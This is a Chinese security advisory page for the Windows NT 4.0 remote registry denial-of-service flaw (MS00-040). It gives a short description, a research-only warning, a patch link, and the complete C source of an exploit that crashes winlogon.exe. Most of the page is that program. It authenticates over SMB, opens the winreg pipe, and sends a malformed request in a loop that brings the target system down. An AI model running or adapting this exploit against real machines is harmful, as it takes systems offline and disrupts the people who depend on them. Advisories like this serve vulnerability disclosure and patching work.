首页 -> 安全研究

安全研究

安全漏洞
Windows NT 4.0 远程注册表拒绝服务攻击漏洞

发布日期:2000-06-10
更新日期:2000-06-15

受影响系统:

- Microsoft Windows NT 4.0 Workstation
- Microsoft Windows NT 4.0 Server
- Microsoft Windows NT 4.0 Server, Enterprise Edition
- Microsoft Windows NT 4.0 Server, Terminal Server Edition
不受影响系统:

Windows 2000
描述:

在远程主机对注册表的访问请求被处理前,需要先经由远程注册表server进行认证。
如果提交一个错误格式的请求,会让远程注册表server错误得进行解释,并发生错误,
不能正常工作。在Windows Nt 4.0中,由于注册表server包含在winlogon.exe这一
系统进程里,这个进程出错将导致整个系统不可用。

注意,只有一个已经通过认证的用户才能发起这样的请求,匿名(空会话)连接不能导致
这种拒绝服务攻击。受到攻击的系统必须重新启动才能正常工作。


<* 来源: Renaud Deraison from Nessus Team
          Microsoft Security Bulletin (MS00-040)
*>





测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


/*
* crash_winlogon.c
*
* by Renaud Deraison - deraison@cvs.nessus.org
*
* This code is released under the GNU General Public License.
* (thanks for respecting this license)
*
* In case you are wondering, here is the motto I applied for this code :
*
*         "Structures are for sissies"
*/
#include <stdio.h>
#include <stdlib.h>
#ifdef WIN32
#include <windows.h>
#define bzero(x,y) memset(x, 0, y)
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <ctype.h>
#define closesocket(x) close(x)
#endif


char * netbios_name(char * orig)
{
int i, len;
char * ret = malloc(40);

bzero(ret, 40);
len = strlen(orig);
for(i=0;i<16;i++)
{
  if(i >= len)
   strcat(ret, "CA");
  else
   {
    int odiv, omod;

    odiv = (orig[i] / 16) + 'A';
    omod = (orig[i] % 16) + 'A';
    ret[strlen(ret)]=odiv;
    ret[strlen(ret)]=omod;
   }
}
return(ret);
}

char * netbios_redirector()
{
int i;
char * ret = malloc(31);
bzero(ret, 31);
for(i=0;i<15;i++)strcat(ret, "CA");
strcat(ret, "AA");
return(ret);
}


char* unicode(char * data)
{
int len = strlen(data);
int i;
char * ret = malloc(110);
int l = 0;

bzero(ret,110);
for(i=0;i<len;i++)
{
  ret[i*2] = data[i];
}

if(len & 1){
     ret[len*2+7] = 0x19;
    ret[len*2+9] = 0x02;
    }
else
       {
     ret[len*2+8] = 0x19;
     ret[len*2+10] = 0x02;
    }    
        
return(ret);
}    


char *
smb_session_request(soc, remote)
int soc;
char* remote;
{
char * nb_remote = netbios_name(remote);
char * nb_local  = netbios_redirector();
char * request = malloc(400);
u_char req_head[] = {0x81, 0x00, 0x00, 0x48, 0x20};
u_char req_body[] = {0x00, 0x20};
u_char * answer = malloc(400);
int n;

bzero(request, 400);
memcpy(request, req_head, 5);
memcpy(request+5, nb_remote, strlen(nb_remote));
memcpy(request+5+strlen(nb_remote), req_body, 2);
memcpy(request+5+strlen(nb_remote)+2, nb_local, strlen(nb_local));

send(soc, request, 5+strlen(nb_remote)+strlen(nb_local)+2+1, 0);
bzero(answer, 400);
n = recv(soc, answer, 400, 0);
if(answer[0]==0x82)return(answer);
else return(NULL);
}

char *
smb_neg_prot(soc)
int soc;
{
char * r;
u_char neg_prot[] = {0x00,0x00,
     0x00, 0x89, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
     0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
     0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
     0x00, 0x00, 0x00, 0x66, 0x00, 0x02, 0x50, 0x43,
     0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
     0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D,
     0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x4D, 0x49,
     0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54, 0x20,
     0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x53,
     0x20, 0x31, 0x2E, 0x30, 0x33, 0x00, 0x02, 0x4D,
     0x49, 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54,
     0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
     0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, 0x02, 0x4c,
     0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30,
     0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58,
     0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d,
     0x62, 0x61, 0x00
     };
    
send(soc, neg_prot, sizeof(neg_prot), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}

char * smb_session_setup(soc, login, password)
int soc;
char * login, * password;
{
int len = strlen(login) + strlen(password) + 57;
int bcc = 2 + strlen(login) + strlen(password);
int len_hi = len / 256, len_low = len % 256;
int bcc_hi = bcc / 256, bcc_lo = bcc % 256;
int pass_len = strlen(password) + 1;
int pass_len_hi = pass_len / 256, pass_len_lo = pass_len % 256;

u_char req[] = {0x00,0x00,
          len_hi, len_low, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00,
      0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
      0x00, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x04,
      0x11, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, pass_len_lo,  pass_len_hi, 0x00, 0x00, 0x00, 0x00, bcc_lo,
      bcc_hi};
    
  char * r;
  char * s;

  s = malloc(5000);
  bzero(s, 5000);

  memcpy(s, req, sizeof(req));
  memcpy(s+sizeof(req), password, strlen(password)+1);
  memcpy(s+sizeof(req)+strlen(password)+1, login, strlen(login)+1);


  send(soc, s, sizeof(req)+strlen(password)+1+strlen(login)+1, 0);
  free(s);
  r = malloc(4000);
  bzero(r, 4000);
  recv(soc, r, 4000, 0);
  if(!r[9])return(r);
  else return(NULL);
}

char * smb_tconx(soc, name, uid)
int soc;
char * name;
int uid;
{
int high = uid / 256;
int low = uid % 256;
int len = 55 + strlen(name) + 1;
int ulen = 13 + strlen(name);
u_char req [] = {0x00, 0x00,
           0x00, len, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00,
          0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x28, low, high,
          0x00, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00,
          0x00, 0x01, 0x00, ulen, 0x00, 0x00, 0x5C, 0x5C};
        
u_char req2[] = {0x5C, 0x49,
           0x50, 0x43, 0x24, 0x00, 0x49, 0x50, 0x43, 0x00};


char * s = malloc(4000);

bzero(s, 4000);
memcpy(s, req, sizeof(req));
memcpy(s+sizeof(req), name, strlen(name));
memcpy(s+sizeof(req)+strlen(name), req2, sizeof(req2));
send(soc, s, sizeof(req)+sizeof(req2)+strlen(name), 0);
bzero(s, 4000);
recv(soc, s, 4000, 0);
if(!s[9])return(s);
else return(NULL);
}



char * smbntcreatex(soc, uid, tid)
int soc, uid, tid;
{
u_char tid_high = tid / 256, tid_low = tid % 256;
u_char uid_high = uid / 256, uid_low = uid % 256;
char* r;
u_char req[] = {0x00, 0x00,
             0x00, 0x5B, 0xFF, 0x53, 0x4D, 0x42, 0xA2, 0x00,
           0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x50, 0x81,
           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
           0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
           0x00, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00,
           0x07, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
           0x00, 0x00, 0x9F, 0x01, 0x02, 0x00, 0x00, 0x00,
           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
           0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
           0x00, 0x00, 0x00, 0x08, 0x00, 0x5C, 0x77, 0x69,
           0x6e, 0x72, 0x65, 0x67, 0x00};
        
send(soc, req, sizeof(req), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}


char * pipe_accessible_registry(soc, uid, tid, pid)
int soc, uid, tid, pid;
{
u_char tid_low = tid % 256, tid_high = tid / 256;
u_char uid_low = uid % 256, uid_high = uid / 256;
u_char pipe_low = pid % 256, pipe_high = pid / 256;
u_char req[] = {
     0x00, 0x00,
           0x00, 0x94, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
          0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x1B, 0x81,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
          0x00, 0x00, 0x10, 0x00, 0x00, 0x48, 0x00, 0x00,
          0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C,
          0x00, 0x48, 0x00, 0x4C, 0x00, 0x02, 0x00, 0x26,
          0x00, pipe_low, pipe_high, 0x51, 0x00, 0x5C, 0x50, 0x49,
          0x50, 0x45, 0x5C, 0x00, 0x00, 0x00, 0x05, 0x00,
          0x0B, 0x00, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x16,
          0x30, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0xd0,
          0x8c, 0x33, 0x44, 0x22, 0xF1, 0x31, 0xAA, 0xAA,
          0x90, 0x00, 0x38, 0x00, 0x10, 0x03, 0x01, 0x00,
          0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C,
          0xc9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10,
          0x48, 0x60, 0x02, 0x00, 0x00, 0x00};
  u_char * r;

  send(soc, req, sizeof(req), 0);
  r = malloc(4000);
  bzero(r, 4000);
  recv(soc, r, 4000, 0);
  if(!r[9])return(r);
  else return(NULL);
}        

char * registry_access_step1(soc, uid, tid, pid)
int soc, uid, tid, pid;
{
u_char tid_low = tid % 256, tid_high = tid / 256;
u_char uid_low = uid % 256, uid_high = uid / 256;
u_char pipe_low = pid % 256, pipe_high = pid / 256;

u_char * r;
u_char req[] = {0x00, 0x00,
           0x00, 0x78, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
          0x00, 0x00, 0x00, 0x18, 0x03, 0x80, 0x1D, 0x83,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
          0x00, 0x00, 0x10, 0x00, 0x00, 0x24, 0x00, 0x00,
          0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
          0x00, 0x24, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26,
          0x00, pipe_low, pipe_high, 0x35, 0x00, 0x00, 0x5c, 0x00,
          0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
          0x5C, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x05, 0x00,
          0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x24, 0x00,
          0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0xFF,
          0x12, 0x00, 0x30, 0x39, 0x01, 0x00, 0x00, 0x00,
          0x00, 0x02};
        
        
send(soc, req, sizeof(req), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}         
        

void crash_winlogon(soc, uid, tid, pid, key, reply)
int soc, uid, tid, pid;
char * key, * reply;
{
int key_len = strlen(key) + 1;
int key_len_hi = key_len / 256;
int key_len_lo = key_len % 256;

int tid_low = tid % 256;
int tid_high = tid / 256;

int uid_low = uid % 256;
int uid_high = uid / 256;

int pipe_low = pid % 256;
int pipe_high = pid / 256;

char * uc = unicode(key);
int len_uc = 100;


int len = 148 + len_uc;
int len_hi = len / 256;
int len_lo = len % 256;

int z = 40 +len_uc;
int z_lo = z % 256;
int z_hi = z / 256;

int y = 81 + len_uc;
int y_lo = y % 256;
int y_hi = y / 256;

int x = 64 + len_uc;
int x_lo = x % 256;
int x_hi = x / 256;

int n;
u_char req[] = {
           0x00, 0x00,
           len_hi, len_lo, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
          0x00, 0x00, 0x00, 0x18, 0x03, 0x80, reply[16], reply[17],
          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, 0x00,tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
          0x00, 0x00, 0x10, 0x00, 0x00, x_lo, x_hi, 0x00,
          0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
          0x00, x_lo, x_hi, 0x54, 0x00, 0x02, 0x00, 0x26,
          0x00, pipe_low, pipe_high, y_lo, y_hi, 0x00, 0x5C, 0x00,
          0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
          0x5C, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x05, 0x00,
          0x00, 0x03, 0x10, 0x00, 0x00, 0x00, x_lo, x_hi,
          0x00, 0x00, 0x02, 0x00, 0x00, 0x00, z_lo, z_hi,
          0x00, 0x00, 0x00, 0x00, 0x0F, 0x00};
        
int x2 = 65535; /* XXXXXX */
int x2_lo = 0xFF, x2_hi = 0xFF;

u_char req2[] = {x2_lo, x2_hi, 0x0A, 0x02, 0x00, 0xEC,
         0xFD, 0x7F, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, key_len_lo, key_len_hi, 0x00, 0x00};
            
char * crashme = malloc(4000);
char a[] = {0xFF, 0xFF};
bzero(crashme, 4000);
memcpy(crashme, req, sizeof(req));
memcpy(crashme+sizeof(req), &(reply[84]), 20);
memcpy(crashme+sizeof(req)+20, req2, sizeof(req2));
memcpy(crashme+sizeof(req)+20+sizeof(req2), uc, len_uc);
if((n = send(soc, crashme, len+4, 0))<0)
{
perror("send ");
}
}
        

int smbntcreatex_extract_pipe(reply)
char * reply;
{
return(reply[43]*256+reply[42]);
}    

    
int tconx_extract_tid(reply)
char * reply;
{
return(reply[29]*256+reply[28]);
}

    
    

int session_extract_uid(reply)
char * reply;
{
int low, high;

low = reply[32];
high = reply[33];
return((high*256)+low);
}



#define error() _error(__LINE__)

void _error(int line)
{
printf("Error at line %d\n", line);
exit(1);
}

int main(argc, argv)
  int argc;
  char * argv[];
{
char * r;
int soc;
struct sockaddr_in sin;
int uid, tid, pid;
char * name;
char * ip;
char * login, * password;
int i;
#ifdef WIN32
WSADATA winSockData;
WSAStartup(0x0101, &winSockData);
#endif


if(argc < 3)
{
    printf("Usage : winlogon host_ip netbios_name login [password]\n");
    exit(1);
}

name = strdup(argv[2]);
for(i=0;i<strlen(name);i++)name[i] = toupper(name[i]);
ip = strdup(argv[1]);
login = strdup(argv[3]);
if(argv[4])password = strdup(argv[4]);
else password = "";
printf("ip : %s\n", ip);
printf("name : %s\n", name);
printf("login : %s\n", login);
printf("password : %s\n", password);

for(i=0;i<200;i++)
{
soc = socket(AF_INET, SOCK_STREAM, 0);
if(soc < 0)error();
bzero(&sin, sizeof(sin));
sin.sin_port = htons(139);
sin.sin_addr.s_addr = inet_addr(ip);
sin.sin_family = AF_INET;
connect(soc, (const struct sockaddr*)&sin, sizeof(sin));

r = smb_session_request(soc, name);
if(!r)error();free(r);

r = smb_neg_prot(soc);
if(!r)error();free(r);


r = smb_session_setup(soc, login, password);
if(!r)error();
uid = session_extract_uid(r);free(r);

r = smb_tconx(soc, name, uid);
if(!r)error();
tid = tconx_extract_tid(r);free(r);

r = smbntcreatex(soc, uid, tid);
if(!r)error();
pid = smbntcreatex_extract_pipe(r);free(r);

r = pipe_accessible_registry(soc, uid, tid, pid);
if(!r)error();free(r);

r =  registry_access_step1(soc, uid, tid, pid);if(!r)error();

crash_winlogon(soc, uid, tid, pid, "x", r);
shutdown(soc, 2);
closesocket(soc);
}
#ifdef WIN32
WSACleanup();
#endif
return 0;
}

建议:

微软已经提供了针对 Microsoft Windows NT 4.0 Workstation, Server, 和Server, Enterprise Edition的补丁,可以在下列地址下载:

   http://www.microsoft.com/Downloads/Release.asp?ReleaseID=21772



浏览次数:6667
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障